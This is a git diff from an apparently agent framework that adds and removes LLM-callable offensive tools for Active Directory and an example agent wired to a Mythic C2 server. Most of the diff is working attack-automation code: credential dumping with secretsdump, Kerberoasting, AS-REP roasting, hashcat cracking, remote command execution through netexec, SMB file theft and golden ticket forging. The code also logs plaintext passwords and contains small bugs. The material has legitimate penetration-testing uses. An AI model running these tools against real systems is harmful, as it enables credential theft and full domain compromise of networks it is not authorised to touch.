except Exception as e: + logger.error( + f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + @tool_method + def enumerate_share_files( + self, + target: str, + share_name: str, + username: str, + password: str, + ) -> str: + """ + Recursively enumerate files in an SMB share looking for interesting files. + + Args: + target: Target IP address + share_name: Name of the SMB share (e.g., 'SYSVOL', 'all', 'C$') + username: Username for authentication + password: Password for authentication + + Returns: + String of smbclient output + """ + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + "recurse ON; ls", + ] + + logger.info(f"[*] Enumerating files in {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Failed to list files: {result.stderr}") + return f"Failed to list files: {result.stderr}" + + except subprocess.TimeoutExpired: + logger.error(f"[!] File enumeration timed out for {share_path}") + return "File enumeration timed out" + except Exception as e: + logger.error(f"[!] Error during enumeration: {e!s}") + return f"Error during enumeration: {e!s}" + + return result.stdout + + @tool_method + def download_file_content( + self, + target: str, + share_name: str, + file_path: str, + username: str, + password: str, + ) -> str: + """ + Download and return the content of a file from an SMB share. + + Args: + target: Target IP address + share_name: Name of the SMB share + file_path: Path to the file within the share (e.g., 'script.ps1', 'folder/file.txt') + username: Username for authentication + password: Password for authentication + max_size_mb: Maximum file size to download in MB + + Returns: + Str with file content + """ + + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + f"get {file_path} /dev/stdout", + ] + + logger.info(f"[*] Downloading {file_path} from {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Failed to download file: {result.stderr}") + return "Failed to download file: {result.stderr}" + + content = result.stdout + + logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}") + + except subprocess.TimeoutExpired: + logger.error(f"[!] File download timed out for {file_path}") + return "File download timed out" + except Exception as e: + logger.error(f"[!] Error downloading file: {e!s}") + return f"Error downloading file: {e!s}" + + logger.info(f"[*] File download completed for {file_path} result: {content}") + return content + + @tool_method + def secretsdump( + self, + target: str, + username: str, + password: str | None = None, + hash: str | None = None, + domain: str | None = None, + *, + use_kerberos: bool = False, + timeout_minutes: int = 10, + ) -> str: + """ + Extract secrets using impacket-secretsdump for credential harvesting. Must provide either password, hash, or set no_pass to True. no_pass should only be used for kerberos golden ticketauthentication. + + Args: + target: Target IP address + username: Username with admin privileges + password: Password for the username (optional) + hash: NTLM hash for authentication (optional) + domain: Domain name (optional, can be inferred) + no_pass: If True, do not use a password for authentication + timeout_minutes: Maximum time to spend dumping + + Returns: + String of secretsdump output + """ + + cmd = ["/usr/bin/impacket-secretsdump"] + + if password and domain: + target_string = f"{domain}/{username}:{password}@{target}" + elif password and not domain: + target_string = f"{username}:{password}@{target}" + elif hash and domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{domain}/{username}@{target}" + elif hash and not domain: + cmd.extend(["-hashes", f":{hash}"]) + # assumes golden ticket + elif use_kerberos: + cmd.extend(["-k", "-no-pass"]) + target_string = f"{username}@{target}" + else: + raise ValueError("Either password or hash or use_kerberos must be provided") + raise ValueError("Either password or hash or no_pass must be provided") + + cmd.append(target_string) + + try: + logger.info(f"[*] Running secretsdump on {target} with {username}") + logger.info(f"[*] Command: {cmd}") + # Set up environment for Kerberos authentication if using golden ticket + env = os.environ.copy() if use_kerberos else None + if use_kerberos and env is not None: + env["KRB5CCNAME"] = "Administrator.ccache" + env["KRB5CCNAME"] = "Administrator.ccache" + + result = subprocess.run( # noqa: S603 + cmd, + check=False, + capture_output=True, + text=True, + timeout=timeout_minutes * 60, + env=env, + ) + + except subprocess.TimeoutExpired: + return "[!] Secretsdump timed out" + except Exception as e: + return f"[!] Secretsdump error: {e}" + + logger.info( + f"[*] Secretsdump completed for {target} with {username} result: {result.stdout}" + ) + return result.stdout + + @tool_method + def kerberoast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Perform Kerberoasting attack to extract service account password hashes. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + + Returns: + String of kerberoasting output from impacket-GetUserSPNs + """ + + cmd = [ + "/usr/bin/impacket-GetUserSPNs", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + try: + logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + except subprocess.TimeoutExpired: + return "Error: timeout" + except Exception as e: + return f"Command failed: {e}" + else: + return result.stdout + + @tool_method + def asrep_roast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + output_file: str | None = None, + user_list: list[str] | None = None, + ) -> str: + """ + Perform AS-REP roasting attack to find users without Kerberos pre-authentication. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username (for enumeration) + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + user_list: Optional list of specific users to check + + Returns: + String of asrep roasting output from impacket-GetNPUsers + """ + + cmd = [ + "/usr/bin/impacket-GetNPUsers", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + if output_file: + cmd.extend(["-outputfile", output_file]) + + temp_userfile = None + if user_list: + with tempfile.NamedTemporaryFile(mode="w'", delete=False, suffix=".txt") as f: + temp_userfile = f.name + f.write("\n".join(user_list)) + cmd.extend(["-usersfile", temp_userfile]) + + try: + logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + + except subprocess.TimeoutExpired: + return "Error: Command timed out after 60 seconds" + except Exception as e: + return f"Command failed: {e}" + else: + return result.stdout + + @tool_method + def hashcat( + self, + hash_value: str, + hashcat_mode: int = 13100, + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, + ) -> str: + """ + Attempt to crack a password hash using hashcat. + + Args: + hash_value: Hash to crack + hashcat_mode: Hashcat mode to use + wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) + max_time_minutes: Maximum time to spend cracking + + Returns: + String output from hashcat including cracked passwords + + Example: + >>> result = hashcat_crack("aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76", + ... 1000, "/usr/share/wordlists/rockyou.txt") + """ + + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + cmd = [ + "hashcat", + "-m", + str(hashcat_mode), + "-a", + "0", + hash_file_path, + wordlist_path, + "--runtime", + str(max_time_minutes * 60), + "--force", + ] + + result = subprocess.run( # noqa: S603 + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + if result.returncode not in (0, 1, 2): # 0=OK,1=No hashes cracked,2=Exhausted + logger.error(f"[!] Hashcat failed: {result.stderr}") + return f"Hashcat failed: {result.stderr}" + + show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] + + show_result = subprocess.run( # noqa: S603 + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output = "\nCracked passwords (--show):\n" + show_result.stdout + + logger.info(f"[*] Hashcat completed for {hash_value} result: {output}") + + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e}" + else: + return output + + @tool_method() + def domain_admin_checker( + self, + targets: str, + username: str, + password: str = "", + hash: str = "", + ) -> str: + """ + Check if a user is a domain admin by checking output of whoami. + + Args: + targets: IP address or addresses to check + username: Username for authentication + password: Password for authentication (optional) + hash: NTLM hash for authentication (optional) + + Returns: + String of domain admin checker output + + Example: + >>> output = domain_admin_checker("192.168.1.100 192.168.1.101 192.168.1.102", "user", password="pass", hash="hash") + """ + + try: + cmd = ["netexec", "smb", *targets.split(" ")] + + if password: + logger.info(f"[*] Domain admin checker using password for {username}") + cmd.extend(["-u", username, "-p", password]) + elif hash: + logger.info(f"[*] Domain admin checker using hash for {username}") + cmd.extend(["-u", username, "-H", hash]) + + cmd.extend(["-x", "whoami"]) + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Domain admin checker failed: {result.stderr}") + output = f"Command failed (return code {result.returncode}): {result.stderr}" + else: + output = "" + if result.stdout: + output += result.stdout + if result.stderr: + if output: + output += "\n" + result.stderr + else: + output = result.stderr + + logger.info( + f"[*] Domain admin checker completed for target {targets} username: {username} password: {password} hash: {hash} result: {output}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Domain admin checker timed out for {targets}") from None + except Exception as e: + logger.error( + f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + ) + return f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + + return output + + @tool_method() + def get_sid( + self, + domain: str, + username: str, + password: str, + ) -> str: + """ + Get the SID of a user. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + + Returns: + String of get_sid output + + Example: + >>> output = get_sid("domainname.local", "user.name", "mypassword1234") + """ + + cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"] + + try: + logger.info(f"[*] Getting SID for {domain} using {username}:{password}") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + logger.info(f"[*] SID output for {domain} is {result.stdout}") + logger.info(f"[*] SID error for {domain} is {result.stderr}") + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" + else: + return result.stdout + + @tool_method + def generate_golden_ticket( + self, + krbtgt_hash: str, + domain_sid: str, + domain: str, + extra_sid: str, + ) -> str: + """ + Generate a golden ticket for Administrator. + + Args: + krbtgt_hash: NTLM hash of the krbtgt account + domain_sid: SID of the domain + domain: Domain to generate a ticket for (e.g., "domain.local"), same domain from domain_sid and krbtgt_hash + extra_sid: Extra SID to add to the ticket, from the target domain + + Returns: + String of generate_golden_ticket output + + Example: + >>> output = generate_golden_ticket("longhash", "user.name", "S-1-5-###SID", "domain.local", "S-1-5-###SID-519", "500") + """ + + cmd = [ + "impacket-ticketer", + "-nthash", + krbtgt_hash, + "-domain-sid", + domain_sid, + "-domain", + domain, + "-extra-sid", + extra_sid, + "-user-id", + "500", + "Administrator", + ] + + try: + logger.info("[*] Generating golden ticket for Administrator") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e}" + else: + return result.stdout diff --git a/dreadnode/agent/tools/mythic/apollo/tool.py b/dreadnode/agent/tools/mythic/apollo/tool.py index 2579cabe..f414e69e 100644 --- a/dreadnode/agent/tools/mythic/apollo/tool.py +++ b/dreadnode/agent/tools/mythic/apollo/tool.py @@ -15,7 +15,7 @@ @dataclass -class Apollo(Toolset): +class ApolloTool(Toolset): _client: Mythic = None _callback_id: int | None = None _intialized: bool = False diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py deleted file mode 100644 index 84987a14..00000000 --- a/dreadnode/agent/tools/pentest/internal/tool.py +++ /dev/null @@ -1,634 +0,0 @@ -import os -import subprocess -import tempfile - -from loguru import logger - -from dreadnode.agent.tools import tool - - -@tool -def nmap_scan(target: str) -> str: - """ - Scans target IPs to classify them as Domain Controllers or Member Servers. - - Args: - target: IP addresses to scan - - Returns: - Output of nmap scan - - Example: - >>> result = nmap_scan("192.168.1.2") - """ - - cmd = ["nmap", "-T4", "-sS", "-sV", "--open", *target.split(" ")] - - try: - logger.info("[*] Scanning targets...") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 - - if result.returncode != 0: - logger.error(f"[!] Nmap scan failed: {result.stderr}") - return result.stderr - - logger.info(f"[*] Nmap scan completed for target {target}: {result.stdout}") - return result.stdout - - except subprocess.TimeoutExpired: - logger.error("Nmap scan timed out after 5 minutes") - return "Nmap scan timed out after 5 minutes" - except Exception as e: - logger.error(f"Scan failed: {e!s}") - return f"Scan failed: {e!s}" - - -@tool -def enumerate_users_netexec(target: str, username: str, password: str, domain: str) -> str: - """ - Enumerate users using netexec (crackmapexec successor). - - Args: - target: IP address or hostname to enumerate - username: Username for authentication (empty string for null session) - password: Password for authentication (empty string for null session) - domain: Domain for authentication - - Returns: - String of netexec output - - Example: - >>> output = enumerate_users_netexec("192.168.1.100", "user", "pass") - """ - - try: - # Build netexec command - cmd = ["netexec", "smb", target] - - if username and password: - cmd.extend(["-u", username, "-p", password]) - if domain: - cmd.extend(["-d", domain]) - else: - cmd.extend(["-u", "", "-p", ""]) - - cmd.append("--users") - - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - logger.info( - f"[*] Netexec user enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" - ) - - except subprocess.TimeoutExpired: - raise TimeoutError(f"User enumeration timed out for {target}") from None - except Exception as e: - logger.error( - f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" - ) - return f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" - - return result.stdout - - -@tool -def enumerate_shares_netexec( - target: str, domain: str, username: str = "", password: str = "" -) -> str: - """ - Enumerate shares using netexec (crackmapexec successor). - - Args: - target: IP address or hostname to enumerate - username: Username for authentication (empty for null session) - password: Password for authentication (empty for null session) - domain: Domain for authentication - - Returns: - String of netexec output - - Example: - >>> output = enumerate_shares_netexec("192.168.1.100", "user", "pass") - """ - - try: - # Build netexec command - cmd = ["netexec", "smb", target] - - if username and password: - cmd.extend(["-u", username, "-p", password]) - if domain: - cmd.extend(["-d", domain]) - else: - cmd.extend(["-u", "", "-p", ""]) - - cmd.append("--shares") - - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - logger.info( - f"[*] Netexec share enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" - ) - - except subprocess.TimeoutExpired: - raise TimeoutError(f"Share enumeration timed out for {target}") from None - except Exception as e: - logger.error( - f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" - ) - return f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" - - return result.stdout - - -@tool -def enumerate_share_files( - target: str, - share_name: str, - username: str, - password: str, -) -> str: - """ - Recursively enumerate files in an SMB share looking for interesting files. - - Args: - target: Target IP address - share_name: Name of the SMB share (e.g., 'SYSVOL', 'all', 'C$') - username: Username for authentication - password: Password for authentication - - Returns: - String of smbclient output - """ - share_path = f"//{target}/{share_name}" - - try: - cmd = [ - "smbclient", - share_path, - "-U", - f"{username}%{password}", - "-c", - "recurse ON; ls", - ] - - logger.info(f"[*] Enumerating files in {share_path}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - - if result.returncode != 0: - logger.error(f"[!] Failed to list files: {result.stderr}") - return f"Failed to list files: {result.stderr}" - - except subprocess.TimeoutExpired: - logger.error(f"[!] File enumeration timed out for {share_path}") - return "File enumeration timed out" - except Exception as e: - logger.error(f"[!] Error during enumeration: {e!s}") - return f"Error during enumeration: {e!s}" - - return result.stdout - - -@tool -def download_file_content( - target: str, share_name: str, file_path: str, username: str, password: str -) -> str: - """ - Download and return the content of a file from an SMB share. - - Args: - target: Target IP address - share_name: Name of the SMB share - file_path: Path to the file within the share (e.g., 'script.ps1', 'folder/file.txt') - username: Username for authentication - password: Password for authentication - max_size_mb: Maximum file size to download in MB - - Returns: - Str with file content - """ - - share_path = f"//{target}/{share_name}" - - try: - cmd = [ - "smbclient", - share_path, - "-U", - f"{username}%{password}", - "-c", - f"get {file_path} /dev/stdout", - ] - - logger.info(f"[*] Downloading {file_path} from {share_path}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 - - if result.returncode != 0: - logger.error(f"[!] Failed to download file: {result.stderr}") - return "Failed to download file: {result.stderr}" - - content = result.stdout - - logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}") - - except subprocess.TimeoutExpired: - logger.error(f"[!] File download timed out for {file_path}") - return "File download timed out" - except Exception as e: - logger.error(f"[!] Error downloading file: {e!s}") - return f"Error downloading file: {e!s}" - - logger.info(f"[*] File download completed for {file_path} result: {content}") - return content - - -@tool -def secretsdump( - target: str, - username: str, - password: str | None = None, - hash: str | None = None, - domain: str | None = None, - *, - use_kerberos: bool = False, - timeout_minutes: int = 10, -) -> str: - """ - Extract secrets using impacket-secretsdump for credential harvesting. Must provide either password, hash, or set no_pass to True. no_pass should only be used for kerberos golden ticketauthentication. - - Args: - target: Target IP address - username: Username with admin privileges - password: Password for the username (optional) - hash: NTLM hash for authentication (optional) - domain: Domain name (optional, can be inferred) - no_pass: If True, do not use a password for authentication - timeout_minutes: Maximum time to spend dumping - - Returns: - String of secretsdump output - """ - - cmd = ["/usr/bin/impacket-secretsdump"] - - if password and domain: - target_string = f"{domain}/{username}:{password}@{target}" - elif password and not domain: - target_string = f"{username}:{password}@{target}" - elif hash and domain: - cmd.extend(["-hashes", f":{hash}"]) - target_string = f"{domain}/{username}@{target}" - elif hash and not domain: - cmd.extend(["-hashes", f":{hash}"]) - # assumes golden ticket - elif use_kerberos: - cmd.extend(["-k", "-no-pass"]) - target_string = f"{username}@{target}" - else: - raise ValueError("Either password or hash or use_kerberos must be provided") - raise ValueError("Either password or hash or no_pass must be provided") - - cmd.append(target_string) - - try: - logger.info(f"[*] Running secretsdump on {target} with {username}") - logger.info(f"[*] Command: {cmd}") - # Set up environment for Kerberos authentication if using golden ticket - env = os.environ.copy() if use_kerberos else None - if use_kerberos and env is not None: - env["KRB5CCNAME"] = "Administrator.ccache" - env["KRB5CCNAME"] = "Administrator.ccache" - - result = subprocess.run( # noqa: S603 - cmd, check=False, capture_output=True, text=True, timeout=timeout_minutes * 60, env=env - ) - - except subprocess.TimeoutExpired: - return "[!] Secretsdump timed out" - except Exception as e: - return f"[!] Secretsdump error: {e}" - - logger.info(f"[*] Secretsdump completed for {target} with {username} result: {result.stdout}") - return result.stdout - - -@tool -def kerberoast( - domain: str, - username: str, - password: str, - dc_ip: str, -) -> str: - """ - Perform Kerberoasting attack to extract service account password hashes. - - Args: - domain: Target domain (e.g., 'xx.yy.local') - username: Valid domain username - password: Password for the username - dc_ip: Domain controller IP address - output_file: Optional file to save hashes to - - Returns: - String of kerberoasting output from impacket-GetUserSPNs - """ - - cmd = [ - "/usr/bin/impacket-GetUserSPNs", - f"{domain}/{username}:{password}", - "-dc-ip", - dc_ip, - "-request", - ] - - try: - logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 - except subprocess.TimeoutExpired: - return "Error: timeout" - except Exception as e: - return f"Command failed: {e}" - else: - return result.stdout - - -@tool -def asrep_roast( - domain: str, - username: str, - password: str, - dc_ip: str, - output_file: str | None = None, - user_list: list[str] | None = None, -) -> str: - """ - Perform AS-REP roasting attack to find users without Kerberos pre-authentication. - - Args: - domain: Target domain (e.g., 'xx.yy.local') - username: Valid domain username (for enumeration) - password: Password for the username - dc_ip: Domain controller IP address - output_file: Optional file to save hashes to - user_list: Optional list of specific users to check - - Returns: - String of asrep roasting output from impacket-GetNPUsers - """ - - cmd = [ - "/usr/bin/impacket-GetNPUsers", - f"{domain}/{username}:{password}", - "-dc-ip", - dc_ip, - "-request", - ] - - if output_file: - cmd.extend(["-outputfile", output_file]) - - temp_userfile = None - if user_list: - with tempfile.NamedTemporaryFile(mode="w'", delete=False, suffix=".txt") as f: - temp_userfile = f.name - f.write("\n".join(user_list)) - cmd.extend(["-usersfile", temp_userfile]) - - try: - logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 - - except subprocess.TimeoutExpired: - return "Error: Command timed out after 60 seconds" - except Exception as e: - return f"Command failed: {e}" - else: - return result.stdout - - -@tool -def hashcat( - hash_value: str, - hashcat_mode: int = 13100, - wordlist_path: str = "/usr/share/wordlists/rockyou.txt", - max_time_minutes: int = 10, -) -> str: - """ - Attempt to crack a password hash using hashcat. - - Args: - hash_value: Hash to crack - hashcat_mode: Hashcat mode to use - wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) - max_time_minutes: Maximum time to spend cracking - - Returns: - String output from hashcat including cracked passwords - - Example: - >>> result = hashcat_crack("aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76", - ... 1000, "/usr/share/wordlists/rockyou.txt") - """ - - with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: - hash_file.write(hash_value) - hash_file_path = hash_file.name - - try: - cmd = [ - "hashcat", - "-m", - str(hashcat_mode), - "-a", - "0", - hash_file_path, - wordlist_path, - "--runtime", - str(max_time_minutes * 60), - "--force", - ] - - result = subprocess.run( # noqa: S603 - cmd, - check=False, - capture_output=True, - text=True, - timeout=(max_time_minutes * 60) + 30, - ) - - if result.returncode not in (0, 1, 2): # 0=OK,1=No hashes cracked,2=Exhausted - logger.error(f"[!] Hashcat failed: {result.stderr}") - return f"Hashcat failed: {result.stderr}" - - show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] - - show_result = subprocess.run( # noqa: S603 - show_cmd, - check=False, - capture_output=True, - text=True, - timeout=30, - ) - - if show_result.stdout.strip(): - output = "\nCracked passwords (--show):\n" + show_result.stdout - - logger.info(f"[*] Hashcat completed for {hash_value} result: {output}") - - except subprocess.TimeoutExpired: - return "Error: Command timed out" - except Exception as e: - return f"Error: {e}" - else: - return output - - -@tool() -def domain_admin_checker( - targets: str, - username: str, - password: str = "", - hash: str = "", -) -> str: - """ - Check if a user is a domain admin by checking output of whoami. - - Args: - targets: IP address or addresses to check - username: Username for authentication - password: Password for authentication (optional) - hash: NTLM hash for authentication (optional) - - Returns: - String of domain admin checker output - - Example: - >>> output = domain_admin_checker("192.168.1.100 192.168.1.101 192.168.1.102", "user", password="pass", hash="hash") - """ - - try: - cmd = ["netexec", "smb", *targets.split(" ")] - - if password: - logger.info(f"[*] Domain admin checker using password for {username}") - cmd.extend(["-u", username, "-p", password]) - elif hash: - logger.info(f"[*] Domain admin checker using hash for {username}") - cmd.extend(["-u", username, "-H", hash]) - - cmd.extend(["-x", "whoami"]) - - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - - if result.returncode != 0: - logger.error(f"[!] Domain admin checker failed: {result.stderr}") - output = f"Command failed (return code {result.returncode}): {result.stderr}" - else: - output = "" - if result.stdout: - output += result.stdout - if result.stderr: - if output: - output += "\n" + result.stderr - else: - output = result.stderr - - logger.info( - f"[*] Domain admin checker completed for target {targets} username: {username} password: {password} hash: {hash} result: {output}" - ) - - except subprocess.TimeoutExpired: - raise TimeoutError(f"Domain admin checker timed out for {targets}") from None - except Exception as e: - logger.error( - f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" - ) - return f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" - - return output - - -@tool() -def get_sid( - domain: str, - username: str, - password: str, -) -> str: - """ - Get the SID of a user. - - Args: - domain: Target domain (e.g., 'xx.yy.local') - username: Valid domain username - password: Password for the username - - Returns: - String of get_sid output - - Example: - >>> output = get_sid("domainname.local", "user.name", "mypassword1234") - """ - - cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"] - - try: - logger.info(f"[*] Getting SID for {domain} using {username}:{password}") - logger.info(f"[*] Command: {cmd}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - - logger.info(f"[*] SID output for {domain} is {result.stdout}") - logger.info(f"[*] SID error for {domain} is {result.stderr}") - except subprocess.TimeoutExpired: - return "Error: Command timed out" - except Exception as e: - return f"Error: {e!s}" - else: - return result.stdout - - -@tool -def generate_golden_ticket( - krbtgt_hash: str, - domain_sid: str, - domain: str, - extra_sid: str, -) -> str: - """ - Generate a golden ticket for Administrator. - - Args: - krbtgt_hash: NTLM hash of the krbtgt account - domain_sid: SID of the domain - domain: Domain to generate a ticket for (e.g., "domain.local"), same domain from domain_sid and krbtgt_hash - extra_sid: Extra SID to add to the ticket, from the target domain - - Returns: - String of generate_golden_ticket output - - Example: - >>> output = generate_golden_ticket("longhash", "user.name", "S-1-5-###SID", "domain.local", "S-1-5-###SID-519", "500") - """ - - cmd = [ - "impacket-ticketer", - "-nthash", - krbtgt_hash, - "-domain-sid", - domain_sid, - "-domain", - domain, - "-extra-sid", - extra_sid, - "-user-id", - "500", - "Administrator", - ] - - try: - logger.info("[*] Generating golden ticket for Administrator") - logger.info(f"[*] Command: {cmd}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 - except subprocess.TimeoutExpired: - return "Error: Command timed out" - except Exception as e: - return f"Error: {e}" - else: - return result.stdout diff --git a/examples/agents/apollo/__init__.py b/examples/agents/apollo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/apollo/agent.py b/examples/agents/apollo/agent.py new file mode 100644 index 00000000..ec5f6e8e --- /dev/null +++ b/examples/agents/apollo/agent.py @@ -0,0 +1,32 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.mythic.apollo.tool import ApolloTool + + +async def create_agent() -> Agent: + agent = Agent( + name="apollo-agent", + description="An agent that uses the Apollo toolset to interact with a Mythic C2 server.", + model="gpt-4", + tools=[ + await ApolloTool.create( + username="admin", + password="admin", + server_url="http://localhost:7443", + server_ip="localhost", + server_port=7443, + ) + ], + ) + + return agent + + +async def main() -> None: + agent = await create_agent() + agent.run("Create a new Apollo callback and execute a command to list directory contents.") + + +if __name__ == "__main__": + import asyncio + + asyncio.run(main()) diff --git a/examples/agents/jupyter/__init__.py b/examples/agents/jupyter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/jupyter/agent.py b/examples/agents/jupyter/agent.py index 5e4d1f25..63831f7e 100644 --- a/examples/agents/jupyter/agent.py +++ b/examples/agents/jupyter/agent.py @@ -1,15 +1,19 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.tools.jupyter.tool import PythonKernel -agent = Agent( - name="code-agent", - description="An agent that uses a Python kernel to perform coding tasks.", - model="gpt-4", - tools=[PythonKernel()], -) + +async def create_agent() -> Agent: + agent = Agent( + name="code-agent", + description="An agent that uses a Python kernel to perform coding tasks.", + model="gpt-4", + tools=[PythonKernel()], + ) + return agent async def main() -> None: + agent = await create_agent() agent.run("Write a Python function that returns the Fibonacci sequence up to n.") diff --git a/examples/agents/kali/__init__.py b/examples/agents/kali/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/kali/agent.py b/examples/agents/kali/agent.py new file mode 100644 index 00000000..9678f5ca --- /dev/null +++ b/examples/agents/kali/agent.py @@ -0,0 +1,17 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.kali.tool import KaliTool + +agent = Agent( + name="kali-agent", + description="An agent that uses the Kali toolset to perform penetration testing tasks.", + model="gpt-4", + tools=[KaliTool()], +) + + +def main() -> None: + agent.run("Perform a network scan on the target IP") + + +if __name__ == "__main__": + main() From 4fda85b9dc2df7c42e540fc3fd846c69be846fcf Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Wed, 27 Aug 2025 19:18:04 -0600 Subject: [PATCH 23/60] bbot cli --- dreadnode/agent/__init__.py | 2 +- dreadnode/agent/agent.py | 112 ++++++++-------- dreadnode/agent/dispatcher.py | 42 ++++++ dreadnode/agent/events.py | 1 - dreadnode/agent/tools/bbot/dispatcher.py | 35 +++++ dreadnode/agent/tools/bbot/tool.py | 104 +++++++++++++-- dreadnode/agent/tools/bbot/utils.py | 161 +++++++++++++++++++++++ examples/agents/bbot/agent.py | 62 ++++++++- 8 files changed, 437 insertions(+), 82 deletions(-) create mode 100644 dreadnode/agent/dispatcher.py create mode 100644 dreadnode/agent/tools/bbot/dispatcher.py create mode 100644 dreadnode/agent/tools/bbot/utils.py diff --git a/dreadnode/agent/__init__.py b/dreadnode/agent/__init__.py index 2cbb77d3..a121bc3a 100644 --- a/dreadnode/agent/__init__.py +++ b/dreadnode/agent/__init__.py @@ -8,6 +8,6 @@ Agent.model_rebuild() Thread.model_rebuild() -rebuild_event_models() +# rebuild_event_models() rebuild_dataclass(AgentResult) # type: ignore[arg-type] diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index 893ff5d8..a372d89b 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -2,7 +2,7 @@ import typing as t from contextlib import asynccontextmanager -from pydantic import BaseModel, ConfigDict, Field, PrivateAttr, field_validator +from pydantic import BaseModel, ConfigDict, Field, field_validator from rigging import get_generator from rigging.caching import CacheMode, apply_cache_mode_to_messages from rigging.chat import Chat @@ -19,11 +19,11 @@ ) from dreadnode.agent.configurable import configurable -from dreadnode.agent.events import AgentStalled, Event -from dreadnode.agent.hooks.base import retry_with_feedback +from dreadnode.agent.dispatcher import Dispatcher +from dreadnode.agent.events import Event from dreadnode.agent.reactions import Hook from dreadnode.agent.result import 